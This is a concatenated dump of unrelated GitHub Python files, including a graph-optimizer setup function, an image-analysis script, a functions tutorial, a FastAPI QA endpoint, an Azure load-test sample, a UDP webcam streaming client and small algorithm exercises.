execute_estimator_concurrently=False,\n\n                    use_feasibility_estimator=False,\n                    decomposition_feasibility_estimator=None,\n                    domain_graphs_feasibility_estimator=None,\n\n                    decomposition_part_importance_estimator=None,\n\n                    use_part_importance_graph_grammar=False,\n                    n_neighbors_part_importance_graph_grammar=None,\n                    conservativeness_part_importance_graph_grammar=1,\n                    max_num_substitutions_part_importance_graph_grammar=None,\n                    context_size_part_importance_graph_grammar=1,\n                    decomposition_part_importance_graph_grammar=None,\n                    domain_graphs_part_importance_graph_grammar=None,\n                    fit_at_each_iteration_part_importance_graph_grammar=False,\n\n                    use_adaptive_graph_grammar=False,\n                    n_neighbors_adaptive_graph_grammar=None,\n                    conservativeness_adaptive_graph_grammar=1,\n                    max_num_substitutions_adaptive_graph_grammar=None,\n                    context_size_adaptive_graph_grammar=1,\n                    part_size_adaptive_graph_grammar=4,\n                    decomposition_adaptive_graph_grammar_base=None,\n                    decomposition_adaptive_graph_grammar_approx=None,\n\n\n                    use_edge_crossover=False,\n                    n_neighbors_edge_crossover=10,\n                    n_edge_edge_crossover=1,\n                    tournament_size_factor_edge_crossover=10,\n                    size_n_std_to_accept_edge_crossover=2,\n\n                    use_break_crossover=False,\n                    n_neighbors_break_crossover=1,\n                    n_edge_break_crossover=1,\n                    min_size_break_crossover=5,\n                    max_size_break_crossover=.5,\n                    tournament_size_factor_break_crossover=3,\n                    size_n_std_to_accept_break_crossover=1,\n\n                    use_cycle_crossover=False,\n                    n_neighbors_cycle_crossover=10,\n                    n_cycle_cycle_crossover=1,\n                    n_edges_per_cycle_cycle_crossover=1,\n                    tournament_size_factor_cycle_crossover=10,\n                    size_n_std_to_accept_cycle_crossover=2,\n\n                    use_double_edge_crossover=False,\n                    n_neighbors_double_edge_crossover=10,\n                    n_double_edges_double_edge_crossover=10,\n                    tournament_size_factor_double_edge_crossover=10,\n                    size_n_std_to_accept_double_edge_crossover=2,\n\n                    use_edge_swapping=False,\n                    n_neighbors_edge_swapping=None, n_edge_swapping=1,\n\n                    use_edge_label_swapping=False,\n                    n_neighbors_edge_label_swapping=None,\n                    n_edge_label_swapping=1,\n\n                    use_edge_label_mutation=False,\n                    n_neighbors_edge_mutation=None, n_edge_mutation=1,\n\n                    use_edge_move=False,\n                    n_neighbors_edge_move=None, n_edge_move=1,\n\n                    use_edge_removal=False,\n                    n_neighbors_edge_removal=None, n_edge_removal=1,\n\n                    use_edge_addition=False,\n                    n_neighbors_edge_addition=None, n_edge_addition=1,\n\n                    use_edge_expand=False,\n                    n_neighbors_edge_expand=None, n_edge_expand=1,\n\n                    use_edge_contract=False,\n                    n_neighbors_edge_contract=None, n_edge_contract=1,\n\n\n                    use_node_label_swapping=False,\n                    n_neighbors_node_label_swapping=None,\n                    n_node_label_swapping=1,\n\n                    use_node_label_mutation=False,\n                    n_neighbors_node_mutation=None, n_node_mutation=1,\n\n                    use_node_removal=False,\n                    n_neighbors_node_removal=None, n_node_removal=1,\n\n                    use_node_addition=False,\n                    n_neighbors_node_addition=None, n_node_addition=1,\n\n                    use_node_smooth=False,\n                    n_neighbors_node_smooth=None, n_node_smooth=1):\n    \"\"\"optimizer_setup.\"\"\"\n    part_importance_estimator = PartImportanceEstimator(\n        decompose_func=decomposition_part_importance_estimator)\n\n    neighborhood_estimators = []\n\n    if use_edge_crossover:\n        nec = NeighborhoodEdgeCrossover(\n            n_edges=n_edge_edge_crossover,\n            n_neighbors=n_neighbors_edge_crossover,\n            tournament_size_factor=tournament_size_factor_edge_crossover,\n            size_n_std_to_accept=size_n_std_to_accept_edge_crossover)\n        neighborhood_estimators.append(nec)\n\n    if use_break_crossover:\n        nbc = NeighborhoodBreakCrossover(\n            n_edges=n_edge_break_crossover,\n            min_size = min_size_break_crossover,\n            max_size = max_size_break_crossover,\n            n_neighbors=n_neighbors_break_crossover,\n            tournament_size_factor=tournament_size_factor_break_crossover,\n            size_n_std_to_accept=size_n_std_to_accept_break_crossover)\n        neighborhood_estimators.append(nbc)\n\n    if use_cycle_crossover:\n        ncc = NeighborhoodCycleCrossover(\n            n_cycles=n_cycle_cycle_crossover,\n            n_edges_per_cycle=n_edges_per_cycle_cycle_crossover,\n            n_neighbors=n_neighbors_cycle_crossover,\n            tournament_size_factor=tournament_size_factor_cycle_crossover,\n            size_n_std_to_accept=size_n_std_to_accept_cycle_crossover)\n        neighborhood_estimators.append(ncc)\n\n    if use_double_edge_crossover:\n        ndec = NeighborhoodDoubleEdgeCrossover(\n            n_double_edges=n_double_edges_double_edge_crossover,\n            n_neighbors=n_neighbors_double_edge_crossover,\n            tournament_size_factor=tournament_size_factor_double_edge_crossover,\n            size_n_std_to_accept=size_n_std_to_accept_double_edge_crossover)\n        neighborhood_estimators.append(ndec)\n\n    if use_edge_swapping:\n        nes = NeighborhoodEdgeSwap(\n            n_edges=n_edge_swapping, n_neighbors=n_neighbors_edge_swapping)\n        neighborhood_estimators.append(nes)\n\n    if use_edge_label_swapping:\n        nels = NeighborhoodEdgeLabelSwap(\n            n_edges=n_edge_label_swapping, n_neighbors=n_neighbors_edge_label_swapping)\n        neighborhood_estimators.append(nels)\n\n    if use_edge_label_mutation:\n        nelm = NeighborhoodEdgeLabelMutation(\n            n_edges=n_edge_mutation, n_neighbors=n_neighbors_edge_mutation)\n        neighborhood_estimators.append(nelm)\n\n    if use_edge_move:\n        nem = NeighborhoodEdgeMove(\n            n_edges=n_edge_move, n_neighbors=n_neighbors_edge_move)\n        neighborhood_estimators.append(nem)\n\n    if use_edge_removal:\n        ner = NeighborhoodEdgeRemove(\n            n_edges=n_edge_removal, n_neighbors=n_neighbors_edge_removal)\n        neighborhood_estimators.append(ner)\n\n    if use_edge_addition:\n        nea = NeighborhoodEdgeAdd(\n            n_edges=n_edge_addition, n_neighbors=n_neighbors_edge_addition)\n        neighborhood_estimators.append(nea)\n\n    if use_edge_expand:\n        nee = NeighborhoodEdgeExpand(\n            n_edges=n_edge_expand, n_neighbors=n_neighbors_edge_expand)\n        neighborhood_estimators.append(nee)\n\n    if use_edge_contract:\n        nec = NeighborhoodEdgeContract(\n            n_edges=n_edge_contract, n_neighbors=n_neighbors_edge_contract)\n        neighborhood_estimators.append(nec)\n\n    if use_node_label_swapping:\n        nnls = NeighborhoodNodeLabelSwap(\n            n_nodes=n_node_label_swapping,\n            n_neighbors=n_neighbors_node_label_swapping)\n        neighborhood_estimators.append(nnls)\n\n    if use_node_label_mutation:\n        nnlm = NeighborhoodNodeLabelMutation(\n            n_nodes=n_node_mutation, n_neighbors=n_neighbors_node_mutation)\n        neighborhood_estimators.append(nnlm)\n\n    if use_node_removal:\n        nnr = NeighborhoodNodeRemove(\n            n_nodes=n_node_removal, n_neighbors=n_neighbors_node_removal)\n        neighborhood_estimators.append(nnr)\n\n    if use_node_addition:\n        nna = NeighborhoodNodeAdd(\n            n_nodes=n_node_addition, n_neighbors=n_neighbors_node_addition)\n        neighborhood_estimators.append(nna)\n\n    if use_node_smooth:\n        nns = NeighborhoodNodeSmooth(\n            n_nodes=n_node_smooth, n_neighbors=n_neighbors_node_smooth)\n        neighborhood_estimators.append(nns)\n\n    if use_part_importance_graph_grammar:\n        npigge = NeighborhoodPartImportanceGraphGrammar(\n            decomposition_function=decomposition_part_importance_graph_grammar,\n            context=context_size_part_importance_graph_grammar,\n            count=conservativeness_part_importance_graph_grammar,\n            filter_max_num_substitutions=max_num_substitutions_part_importance_graph_grammar,\n            frac_nodes_to_select=.5,\n            n_neighbors=n_neighbors_part_importance_graph_grammar,\n            fit_at_each_iteration=fit_at_each_iteration_part_importance_graph_grammar,\n            domain_graphs=domain_graphs_part_importance_graph_grammar)\n        # if fitting is not done iteratively then fit once on the domain_graphs here\n        if fit_at_each_iteration_part_importance_graph_grammar is False:\n            # fitting the grammar always adds the input graphs to the domain_graphs\n            # so here we will add no novel graphs to the domain_graphs\n            npigge.fit_grammar([])\n        neighborhood_estimators.append(npigge)\n\n    if use_adaptive_graph_grammar:\n        ane = NeighborhoodAdaptiveGraphGrammar(\n            base_decomposition_function=decomposition_adaptive_graph_grammar_base,\n            approximate_decomposition_function=decomposition_adaptive_graph_grammar_approx,\n            context=context_size_adaptive_graph_grammar,\n            count=conservativeness_adaptive_graph_grammar,\n            filter_max_num_substitutions=max_num_substitutions_adaptive_graph_grammar,\n            n_neighbors=n_neighbors_adaptive_graph_grammar,\n            ktop=part_size_adaptive_graph_grammar,\n            enforce_connected=True)\n        neighborhood_estimators.append(ane)\n\n    score_estimators = []\n    if use_UCB_estimator:\n        score_estimator = GraphUpperConfidenceBoundEstimator(\n            decomposition_funcs=decomposition_score_estimator,\n            exploration_vs_exploitation=exploration_vs_exploitation)\n        score_estimators.append(score_estimator)\n\n    if use_RandomForest_estimator:\n        score_estimator = GraphRandomForestScoreEstimator(\n            decomposition_funcs=decomposition_score_estimator,\n            n_estimators=n_estimators,\n            exploration_vs_exploitation=exploration_vs_exploitation)\n        score_estimators.append(score_estimator)\n\n    if use_Linear_estimator:\n        score_estimator = GraphLinearScoreEstimator(\n            decomposition_funcs=decomposition_score_estimator,\n            n_estimators=n_estimators,\n            exploration_vs_exploitation=exploration_vs_exploitation)\n        score_estimators.append(score_estimator)\n\n    if use_EI_estimator:\n        score_estimator = GraphExpectedImprovementEstimator(\n            decomposition_funcs=decomposition_score_estimator,\n            exploration_vs_exploitation=exploration_vs_exploitation)\n        score_estimators.append(score_estimator)\n\n    if use_ANN_estimator:\n        score_estimator = GraphNeuralNetworkScoreEstimator(\n            hidden_layer_sizes=ANN_estimator_hidden_layer_sizes,\n            decomposition_funcs=decomposition_score_estimator,\n            n_estimators=n_estimators_ANN,\n            exploration_vs_exploitation=exploration_vs_exploitation)\n        score_estimators.append(score_estimator)\n\n    if use_KNN_stimator:\n        score_estimator = GraphNearestNeighborScoreEstimator(\n            n_neighbors=n_neighbors_KNN,\n            decomposition_funcs=decomposition_score_estimator,\n            n_estimators=n_estimators,\n            exploration_vs_exploitation=exploration_vs_exploitation)\n        score_estimators.append(score_estimator)\n\n    score_estimator = EnsembleScoreEstimator(score_estimators, execute_concurrently=execute_estimator_concurrently)\n    score_estimator.set_exploration_vs_exploitation(exploration_vs_exploitation)\n\n    if use_feasibility_estimator:\n        feasibility_estimator = FeasibilityEstimator(\n            decomposition_funcs=decomposition_feasibility_estimator)\n        logger.info('Fitting feasibility estimator on %d graphs' % len(domain_graphs_feasibility_estimator))\n        feasibility_estimator.fit(domain_graphs_feasibility_estimator)\n    else:\n        feasibility_estimator = None\n    return neighborhood_estimators, score_estimator, part_importance_estimator, feasibility_estimator\n","repo_name":"fabriziocosta/EGO","sub_path":"ego/optimization/optimize.py","file_name":"optimize.py","file_ext":"py","file_size_in_byte":41753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9018742247","text":"\np=0.5\n\nD = { (0,0) : 1 , (1,0) : 1 , (1,1) : p }\n\n\nimport numpy as np\nimport scipy.special\nimport scipy.integrate as integrate\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom os import walk, system\nfrom scipy import fft\nimport matplotlib\nmatplotlib.rcParams['text.usetex'] = True\nfrom pickle import dumps, dump, load, loads\nimport pickle\nimport cv2 \nimport sys, os\nfrom numpy.lib import vectorize\nsys.path.append(os.path.realpath(\"..\"))\nfrom lib.exp import Exp, FittedObj, gencolor, glabels, plotlabels, gColors, putlabel\nimport matplotlib\nmatplotlib.rcParams['text.usetex'] = True\n\ndef contrast( _path = \"./mgyi/mgyi_1\"):\n    for dirpath, dirname, filenams in walk(_path): \n        for filename in filter( lambda s : \"tif\" in s , filenams):   \n            print(filename)\n            DIRname = dirpath.split(\"/\")[-1]\n            system( f\"echo y | sh ./scripts/impr.sh {dirpath}/{filename} ./tif3/{DIRname}/{filename}\")\n\ndef loadf(_path):\n    print(_path)\n    return cv2.imread(f'{_path}', cv2.IMREAD_GRAYSCALE).astype(np.float128)\n\ndef time (_path ):\n    return int(_path.split('_')[1])\n\ndef norm(X):\n    return np.linalg.norm(X, 'fro' )\n\ndef picklize():\n    _path = \"./tif/\"\n    _keyword = \"YFP\" #\"Phasefast\"\n    _dict = {}\n\n    for dirpath, dirname, filenams in walk(_path): \n        DIRname = dirpath.split(\"/\")[-1]\n        _dict[DIRname] = [  ]\n        for _filename in filter( lambda s : (\"tif\" in s ) and ( _keyword in s), filenams):               \n            __file = \"{0}/{1}\".format( dirpath, _filename )\n            print(__file)\n            _dict[DIRname].append( ( time(__file), norm(loadf( __file ))))\n        print(_dict)\n\n    with open(f\"{_keyword}.pkl\", 'wb') as handle:\n        dump(_dict, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n\nif __name__ == \"__main__\":\n\n\n    contrast( _path = \"./mgyi_3/\" )\n\n    exit(0)\n\n    _keyword = \"YFP\"\n\n    _dict = None\n    with open(f\"{_keyword}.pkl\", 'rb') as handle:\n        _dict = pickle.load(handle)\n    # print(_dict)\n\n    propb = np.zeros((50,250))\n    # probexcpt = np.zeros((50,250))\n\n\n    for _key, dictvec in _dict.items():\n        print(\"----\" + str( _key) + \"-----\")\n        if len(dictvec) > 0:\n            vec = (np.array( sorted( dictvec, key=lambda x: x[0]) )).T\n            vec[1] /= vec[1][0] \n\n            # print(vec.T)\n\n            for timetick, mulsize in vec.T:\n                if timetick < 110:\n                    propb[int(mulsize)][int(timetick)] += 1\n    \n    from scipy.signal import find_peaks\n\n\n\n    for _key, dictvec in _dict.items():\n        print(\"----\" + str( _key) + \"-----\")\n        if len(dictvec) > 0:\n            vec = (np.array( sorted( dictvec, key=lambda x: x[0]) )).T\n            vec[1] /= vec[1][0] \n            # print(vec.T)\n\n            for timetick, mulsize in vec.T:\n                peaks, _ = find_peaks(  propb[int(mulsize)] )\n                np.diff(peaks)\n                if len(peaks) > 1 :\n                    if abs(timetick - peaks[-1]) < 3:\n                    # if timetick > 2 *  np.average(propb[int(mulsize)]):\n                        print( f\" anomaloy :  {_key} , {timetick}, {mulsize}\")\n\n    print(propb[7])","repo_name":"dudupo/LABs-diffraction","sub_path":"bio/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74724018340","text":"# FUNCTIONS\n# Defining a function\ndef greet():\n    print(\"hello\")\n    print(\"darling\")\n\n# defining with arguments or parameters\ndef add_sub(x, y):\n    c = x+y\n    d = x-y\n    return c, d\n\n# calling a function\ngreet()\n# we can call this multiple times\n# function does two things  execute a task or return values\n# example for returning values\nresult = add_sub(5, 4)\n# when 2 values are returned we need to have two variables to print these 2 values\nresult1, result2 = add_sub(5, 4)\nprint(result)\nprint(result1, result2)\n\n# Function Arguments\ndef update(x):\n    x = 8\n    print(x)\nupdate(10) #o/p is 8\na = 10\nupdate(a) # passing 10 not a\nprint(\"a \",  a)\n# call by value and call by reference\n# cav - when you are calling a function with value\n# car - when you change the value of x then it will change the value of a\n# In python everything is an object and neither cav nor car apply\n# in the above function the id of a is passed to x, so both the ids will be same before passing a value to x\n# After passing the value the id/address is changed\n# since int is immutable after passing a new value id is changed\n# same goes for str, but when mutable objects like list are used and values are updated the id doesn't change\ndef up(lst):\n    print(id(lst))\n    lst[1] = 25\n    print((id(lst)))\n    print(lst)\n\na = [1, 5, 6]\nprint(id(a))\nup(a)\nprint(\"a\", a)\n\n# below is the o/p\n# 2200931841792\n# 2200931841792\n# 2200931841792\n# [1, 25, 6]\n# a [1, 25, 6]\n\n# types of arguments\n# Formal Arguments - defined arguments and Actual Arguments - arguments that we pass to a function\n# Actual Arguments - Position, keyword, default and variable length\n# position\ndef person(name, age):\n    print(name)\n    print(age)\n# position based arguments\nperson('vegeta', 8)\n# if you dont know the sequence\n# we use keyword arguments\nperson(age=8, name='goku')\n# default\n# imagine if the function is defined  like this\n# def person(name, age=8) -- here age default is 8 and if you don't pass any value to the argument then it takes 8\n# in the above case if you send an argument that is not default it will take the argument that has been sent\n\n# Variable length argument\n# Consider a scenario where you need to write a function to add all the given number\n# in this case we cant just pass 2 arguments, we use variable length arguments\ndef sum(*b):\n    # above while passing arguments we can give a, *b as at least one value will definitely be passed\n    # by *b, we define b as tuple\n    c = 0\n    for i in b:\n        c = c + i\n    print(c)\n\nsum(5, 6, 8, 9, 2)\n\n# keyworded variable length arguments\n# sending multiple arguments with keywords\ndef person(name, **data):\n    print(name)\n    for i, j in data.items():\n        print(i, j)\n        # since data here is no more a tuple it is a key value pair we have 2 values\n        # also we cannot just give data we need to use function called items\n\nperson('navin', age=28, city='mumbai', mob=9848456)\n\n# Global and Local variables\n# we can create variables inside and outside of functions\n# Global - variable outside the function, Local - variable used inside the function\n# preference will be given to the local variable inside the function\n# cannot access local variable outside the function\n# but, we can access the global variable inside any function\n# Even though we can use the global variable inside a function we cannot change the value of it without explictly defining it\n# we define global variable inside a function like global variable_name\n\na = 10\ndef som():\n    # global a\n    # after the above we cannot define a local variable called a inside the function\n    # when you want to change the global variable inside a function and also define a local variable\n    # x = globals() returns all the global variables\n    x = globals()['a'] # global variable with name a\n    # to verify check the id of x and outside variable a both will be same as it points to the global variable a\n    a = 9\n    print(\"initial value of gv: \", x)\n    print(\"in fun local variable\", a)\n    # to change the global variable without affecting the local use below\n    globals()['a'] = 15\n\n\nsom()\nprint(\"outside changed / actual global variable\", a)\n\n# passing list as an input for a function\ndef count(lst):\n    even = 0\n    odd = 0\n    for i in lst:\n        if i % 2 == 0:\n            even += 1\n        else:\n            odd += 1\n    return even, odd\n\nlst = [14, 52, 36, 96, 85, 47, 89]\n\ne, o = count(lst)\n\nprint(e)\nprint(o)\nprint(\"even : {} and odd: {}\".format(e, o))\n# in the above print as we are having string arguments to convert set braces into the values of o,e we use string function format\n\n# take 10 names from user and then count and display users name with more than 5 characters\ndef count_name(lst):\n    lnames = 0\n    for x in lst:\n        if len(x) > 5:\n            print(x)\n            lnames += 1\n    return lnames\n\nl = int(input(\"enter number of users: \"))\nlit = []\nfor i in range(l):\n    lit.append(input(\"enter user names:\"))\nprint(lit)\n\nname = count_name(lit)\nprint(name)\n\n","repo_name":"parasara93/pythonlearningProject","sub_path":"Func.py","file_name":"Func.py","file_ext":"py","file_size_in_byte":5003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35136893747","text":"from entites import *\n\n\nif __name__ == '__main__':\n    brady = Player(\"Tom Brady\")\n    lamar = Player(\"Lamar Jackson\")\n    juju  = Player(\"JuJu Smith-Schuster\")\n    dede  = Player(\"Dede Westbrook\")\n    kam   = Player(\"Alvin Kamara\")\n    obj   = Player(\"Odell Beckham Jr.\")\n\n    en_1 = User(\"Bill\", [brady, lamar, juju])\n    en_2 = User(\"JonRoss\", [dede, kam])\n    en_3 = User(\"Sam\", [obj])\n\n    en_1.add_preferences([kam, brady, obj, juju, lamar, dede])\n    en_2.add_preferences([juju, obj, kam, lamar, brady, dede])\n    en_3.add_preferences([juju, lamar, kam, brady, dede, obj])\n\n    print(en_1)\n    print(en_2)\n    print(en_3)\n","repo_name":"jrpresta/FantasyTrades","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"45729400933","text":"import sys\n\n\ndef main():\n    d = {}\n    n = sys.stdin.readline()\n    numbers = list(map(int, sys.stdin.readline().split()))\n    for a in numbers:\n        chk = d.get(a)\n        if chk is None:\n            d[a] = 1\n        else:\n            d[a] = chk + 1\n    freq = list(d.values())\n    mf = max(freq)\n    res = []\n    for (k, v) in d.items():\n        if v == mf:\n            res += [k]\n    print(max(res))\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"vanichvi/coderun","sub_path":"freq_elem.py","file_name":"freq_elem.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"7511712824","text":"from fastapi import FastAPI, File, UploadFile\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom pydantic import BaseModel\n\nimport uvicorn\n\nfrom qa import qa\n\norigins = [\n    \"*\",\n]\n\napp = FastAPI()\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=origins,\n    allow_credentials=True,\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n\n\nclass QAHuggingFace(BaseModel):\n    question: str\n    context: str\n\n\n@app.get(\"/\")\nasync def root():\n    return {\"message\": \"Hello World\"}\n\n\n@app.post(\"/qa\")\nasync def root(qa_hf: QAHuggingFace):\n    question = qa_hf.question\n    context = qa_hf.context\n    result = qa(question, context)\n    return {\"result\": result}\n\n\nif __name__ == \"__main__\":\n    uvicorn.run(\"api:app\", host=\"0.0.0.0\", port=8000, reload=True)\n","repo_name":"mallapraveen/atomstate-interview","sub_path":"src/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31776039943","text":"import pandas\r\nimport numpy as np\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom scipy import stats\r\n\r\n\r\nclass regression():\r\n\tdef __init__(self, FerData, Time):\r\n\t\tself.FerData = FerData\r\n\t\tself.Time = Time\r\n\t\tself.grate = 0\r\n\t\tself._P = 0\r\n\t\tself.sig_P = 0\r\n\t\tself.alpha = 0\r\n\t\tself._I = 0\r\n\t\tself.sig_I = 0\r\n\r\n\tdef bootstrap(self):\r\n\t\tindex = np.random.choice(len(self.FerData.iloc[:, 2]), len(self.FerData.iloc[:, 2]))\r\n\t\tself.FerData = self.FerData.iloc[index, :]\r\n\r\n\tdef reg(self):\r\n\t\ty = np.log(self.FerData.iloc[:, 2]) - np.log(self.FerData.iloc[:, 1])\r\n\t\ty = y.values.reshape(-1, 1)\r\n\t\tX = np.array([self.Time for i in range(len(y))])\r\n\t\tX = X.reshape(-1, 1)\r\n\t\tclf = LinearRegression(fit_intercept=False)\r\n\t\tclf.fit(X, y)\r\n\t\ty_hat = clf.predict(X)\r\n\t\tself.grate = round(clf.coef_[0][0], 4)\r\n\t\tself.P = y - y_hat\r\n\t\tself.sig_P = round(np.std(self.P, ddof=1), 4)\r\n\t\ty2 = self.FerData.iloc[:, 3] / self.FerData.iloc[:, 2]\r\n\t\ty2 = y2.values.reshape(-1, 1)\r\n\t\tself.alpha = round(pow(np.prod(y2), 1.0 / len(y2)), 4)\r\n\t\ty_hat2 = self.FerData.iloc[:, 2] * self.alpha\r\n\t\ty_hat2 = y_hat2.values.reshape(-1, 1)\r\n\t\texp_I = self.FerData.iloc[:, 3].values.reshape(-1, 1) / y_hat2\r\n\t\tself._I = np.log(exp_I)\r\n\t\tself.sig_I = round(np.std(self._I, ddof=1), 4)\r\n\r\n\r\n","repo_name":"QuanhanSun/IE7215_Final_Simulation","sub_path":"FInal Code/Regression.py","file_name":"Regression.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3003471765","text":"from azure.mgmt.loadtestservice import LoadTestClient\nfrom azure.mgmt.loadtestservice.models import LoadTestResource\n\n# for managing authentication and authorization can be installed from pypi, follow:\n# https://pypi.org/project/azure-identity/ using DefaultAzureCredentials, read more at:\n# https://learn.microsoft.com/en-us/python/api/azure-identity/azure.identity.defaultazurecredential?view=azure-python\nfrom azure.identity import DefaultAzureCredential\n\n# importing os and dotenv for managing and loading environment variables\nimport os\nfrom dotenv import load_dotenv\n\n# Set the values of the client ID, tenant ID, and client secret of the AAD application as environment variables:\n# AZURE_CLIENT_ID, AZURE_TENANT_ID, AZURE_CLIENT_SECRET, SUBSCRIPTION_ID, RESOURCE_GROUP\n\n# loading dotenv file\nload_dotenv()\n\nSUBSCRIPTION_ID = os.environ[\"SUBSCRIPTION_ID\"]\nRESOURCE_GROUP = os.environ[\"RESOURCE_GROUP\"]\n\n# setting up management client\nmgmt_client = LoadTestClient(\n    credential=DefaultAzureCredential(),\n    subscription_id=SUBSCRIPTION_ID\n)\n\n# creating a new loadtest resource\nresult = mgmt_client.load_tests.create_or_update(\n    resource_group_name=RESOURCE_GROUP,\n    load_test_name=\"new-loadtest-python-sdk\",\n    load_test_resource=LoadTestResource(\n        location=\"eastus\",\n        description=\"New LoadTest Resource created via Python SDK\"\n    )\n)\n\n# getting dataplane url from loadtest\nprint(result.data_plane_uri)\n","repo_name":"miguelangelmanuttupaligas/azure-samples-python-management","sub_path":"samples/loadtestservice/creating_load_test_resource.py","file_name":"creating_load_test_resource.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"2928011884","text":"import base64\nimport cv2\nimport math\nimport socket\n\nSERVER_IP = '127.0.0.1'\n\n\ndef getVideoFrame():\n    grabbed, frame = camera.read()  # grab the current frame\n    frame = cv2.resize(frame, (640, 480))  # resize the frame\n    encoded, buffer = cv2.imencode('.jpg', frame)\n    jpg_as_text = base64.b64encode(buffer)\n    return jpg_as_text  # output byte array\n\n\ndef generatePacket(data, seq_number):\n    packet_dimension = 4096 - 8  # Byte dimension of packet\n    # number of packet to be generated to contain all data\n    packet_number = math.ceil(len(data)/packet_dimension)\n\n    packets = []\n    for i in range(0, packet_number):\n        # Genrate packet header\n        # Structure\n        # |Sequence Number(2)|Packet Number(2)|Current Packet(2)|Data(packet_dimension - 8)|\n        header = seq_number.to_bytes(\n            2, \"little\", signed=False) + packet_number.to_bytes(\n            2, \"little\", signed=False) + i.to_bytes(2, \"little\", signed=False)\n\n        # Split data into packets\n        start = i * packet_dimension\n        end = start + packet_dimension\n        packet = header + data[start:end]\n        packets.append(packet)\n\n        print(\"Header| \" + \" Seq: \" + str(seq_number) + \" | Total: \" +\n              str(packet_number) + \" | Curr: \" + str(i) + \"|\", end ='\\r')\n\n    return packets\n\n\n# MAIN\n# Init\ncamera = cv2.VideoCapture(0)  # init the camera\nclientsocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nseq_number = 0\nprint(\"CLIENT STARTED\")\n\n# Loop\nwhile True:\n    img = getVideoFrame()\n    data = generatePacket(img, seq_number)\n\n    for i in data:\n        clientsocket.sendto(i, (SERVER_IP, 7777))\n\n    seq_number += 1\n","repo_name":"MatteoFormentin/udp_stream","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71215581541","text":"#!/usr/bin/env python3\nfrom typing import *\n\n\ndef solve(n: int, a: List[int], b: List[int], c: List[int]) -> int:\n    dp = [[-1, -1, -1] for _ in range(n + 1)]\n    dp[0] = [0, 0, 0]\n    for i in range(n):\n        dp[i + 1][0] = a[i] + max(dp[i][1], dp[i][2])\n        dp[i + 1][1] = b[i] + max(dp[i][2], dp[i][0])\n        dp[i + 1][2] = c[i] + max(dp[i][0], dp[i][1])\n    return max(dp[n])\n\n\ndef main() -> None:\n    n = int(input())\n    a = list(range(n))\n    b = list(range(n))\n    c = list(range(n))\n    for i in range(n):\n        a[i], b[i], c[i] = map(int, input().split())\n    ans = solve(n, a, b, c)\n    print(ans)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"kmyk-jikka/Jikka","sub_path":"examples/data/dp_c.solver.py","file_name":"dp_c.solver.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"35"}
{"seq_id":"11861701061","text":"import socket\n\nHOST = \"127.0.0.1\"\nPORT = 5052\nENCODING = \"ascii\"\n\nif __name__ == '__main__':\n    with socket.socket(socket.AF_INET , socket.SOCK_STREAM) as s:\n        s.bind((HOST , PORT))\n        s.listen()\n\n        conn,addr = s.accept()\n        with conn:\n            print(f\"[CONNECTED] {addr}\")\n            while True:\n                data1 = conn.recv(1024).decode(ENCODING)\n                if not data1:\n                    break\n                print(f\"[RECEIVED] {data1}\")\n                data2 = conn.recv(1024).decode(ENCODING)\n                if not data2:\n                    break\n                print(f\"[RECEIVED] {data2}\")\n                try:\n                    result = int(data1) + int(data2)\n                    conn.send(str(result).encode(ENCODING))\n                except:\n                    conn.send(\"Invalid Arguments\".encode(ENCODING))\n\n","repo_name":"titansarus/CompNetworkHW","sub_path":"HW1/Q1/A/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24284061847","text":"import matplotlib.pylab as plt\nimport numpy as np\n\n\nx = np.linspace(-2, 2, 200)\nplt.plot(x, np.cosh(x))\nplt.xlabel('Angle [rad]')\nplt.ylabel('cosh(x)')\nplt.axis('tight')\nplt.show()","repo_name":"zhikunhuo/lpython","sub_path":"numpy/math_func/Hyperbolic/cosh.py","file_name":"cosh.py","file_ext":"py","file_size_in_byte":180,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
